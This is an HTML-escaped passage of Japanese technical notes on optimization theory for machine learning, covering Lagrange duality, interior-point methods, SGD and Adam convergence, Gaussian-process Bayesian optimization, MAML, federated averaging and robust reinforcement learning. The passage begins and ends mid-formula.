&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;exp&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;t^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^n c_i^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が成立する。これらは、学習アルゴリズムの一般化誤差解析に用いられる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 双対理論とラグランジュ双対&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;凸最適化問題&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X}} f(x) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{s.t.} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad g_i(x) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad h_j(x) = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;のラグランジュ双対は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;inf_&lt;/span&gt;&lt;span&gt;{x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X}} L(x, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu} d(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で与えられる。ここで $&lt;/span&gt;&lt;span&gt;L(x, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu) = f(x) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_i g_i(x) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu_j h_j(x)$&lt;/span&gt;&lt;span&gt; はラグランジュ関数である。強双対性が成立する条件（Slater条件：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;exists x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{relint}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X})$&lt;/span&gt;&lt;span&gt; で $&lt;/span&gt;&lt;span&gt;g_i(x) &amp;lt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, h_j(x) = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）の下で、双対ギャップはゼロとなる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 内点法と原始双対アルゴリズム&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;内点法では、バリア関数 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi(x) = -&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log(-g_i(x))$&lt;/span&gt;&lt;span&gt; を導入し、パラメータ化問題&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{x} f(x) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi(x)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を解く。$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; の極限で最適解に収束する。原始双対内点法では、KKT条件&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla f(x) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla g_i(x) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nu_j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla h_j(x) = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;g_i(x) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_i g_i(x) = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;h_j(x) = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を緩和した系をニュートン法で解く。計算量は $&lt;/span&gt;&lt;span&gt;O(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{n} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon))$&lt;/span&gt;&lt;span&gt; 反復で $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon$&lt;/span&gt;&lt;span&gt; 精度の解が得られる（$&lt;/span&gt;&lt;span&gt;n$&lt;/span&gt;&lt;span&gt; は変数の数）。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 確率的勾配降下法と収束性解析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;確率的勾配降下法（SGD）では、勾配の不偏推定 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tilde&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla} f(x)$&lt;/span&gt;&lt;span&gt; を用いて&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;x^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} = x^t - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;eta_t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tilde&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla} f(x^t)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;と更新する。リプシッツ連続性（$&lt;/span&gt;&lt;span&gt;\|&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla f(x) - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla f(y)\| &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le L\|x-y\|$&lt;/span&gt;&lt;span&gt;）と強凸性（$&lt;/span&gt;&lt;span&gt;f(y) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge f(x) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla f(x)^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top(y-x) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}\|y-x\|^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）の下で、ステップサイズ $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;eta_t = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu t + L}$&lt;/span&gt;&lt;span&gt; により&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[f(x^t) - f^*] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;L\|x^&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; - x^*\|^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu t}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;の収束率が達成される。Adam法では、モーメント推定&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;m_t = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; m_{t-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) g_t, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad v_t = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; v_{t-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) g_t^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を用いて適応的ステップサイズ $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;eta_t / (&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{v_t} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;epsilon)$&lt;/span&gt;&lt;span&gt; を設定する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ベイズ最適化とガウス過程&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;未知関数 $&lt;/span&gt;&lt;span&gt;f: &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{R}$&lt;/span&gt;&lt;span&gt; を最小化するため、ガウス過程事前分布 $&lt;/span&gt;&lt;span&gt;f &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{GP}(m(x), k(x,x'))$&lt;/span&gt;&lt;span&gt; を仮定する。観測データ $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{D}_t = \{(x_i, y_i)\}_{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^t$&lt;/span&gt;&lt;span&gt; の下での事後分布は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;f(x) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{D}_t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{N}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu_t(x), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_t^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;(x))&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;となる。ここで&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu_t(x) = k_t(x)^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top (K_t + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; I)^{-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} y_t, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_t^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;(x) = k(x,x) - k_t(x)^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top (K_t + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; I)^{-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} k_t(x)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;である。獲得関数（Acquisition Function）$&lt;/span&gt;&lt;span&gt;a_t(x) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu_t(x) - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_t(x)$&lt;/span&gt;&lt;span&gt;（Upper Confidence Bound）を最大化する点を次に評価する。$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_t$&lt;/span&gt;&lt;span&gt; は探索と活用のバランスを制御する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### メタ学習とFew-Shot Learning&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;メタ学習では、複数のタスクから学習する方法を学習する。Model-Agnostic Meta-Learning（MAML）では、初期パラメータ $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta$&lt;/span&gt;&lt;span&gt; を更新規則&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leftarrow &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{T}_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim p(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{T})} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{T}_i}(f_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{T}_i}(f_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)})&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で最適化する。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{T}_i$&lt;/span&gt;&lt;span&gt; はタスク、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}$&lt;/span&gt;&lt;span&gt; は損失関数である。Reptile法では、より単純な更新&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leftarrow &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;epsilon &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_i (&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi_i - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を用いる。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;phi_i$&lt;/span&gt;&lt;span&gt; はタスク $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; での数ステップの勾配降下後のパラメータである。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### フェデレーテッド学習と分散最適化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;N$&lt;/span&gt;&lt;span&gt; 個のクライアントがローカルデータ $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{D}_i$&lt;/span&gt;&lt;span&gt; を持つ場合、フェデレーテッド平均（FedAvg）は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^N &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{|&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{D}_i|}{|&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{D}|} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で更新する。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i^{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt; はクライアント $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; でのローカル更新である。非IIDデータの下では、クライアントドリフトが問題となるため、FedProxでは正則化項&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} \|&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta_i - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^t\|^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を追加する。SCAFFOLD法では、クライアント間の勾配の不一致を補正する制御変数を導入する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 敵対的強化学習とロバスト性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;敵対的環境では、報酬関数 $&lt;/span&gt;&lt;span&gt;r(s,a)$&lt;/span&gt;&lt;span&gt; が不確実性集合 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{R}$&lt;/span&gt;&lt;span&gt; 内にあると仮定する。ロバストMDPでは、最悪ケースの報酬を最大化する：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
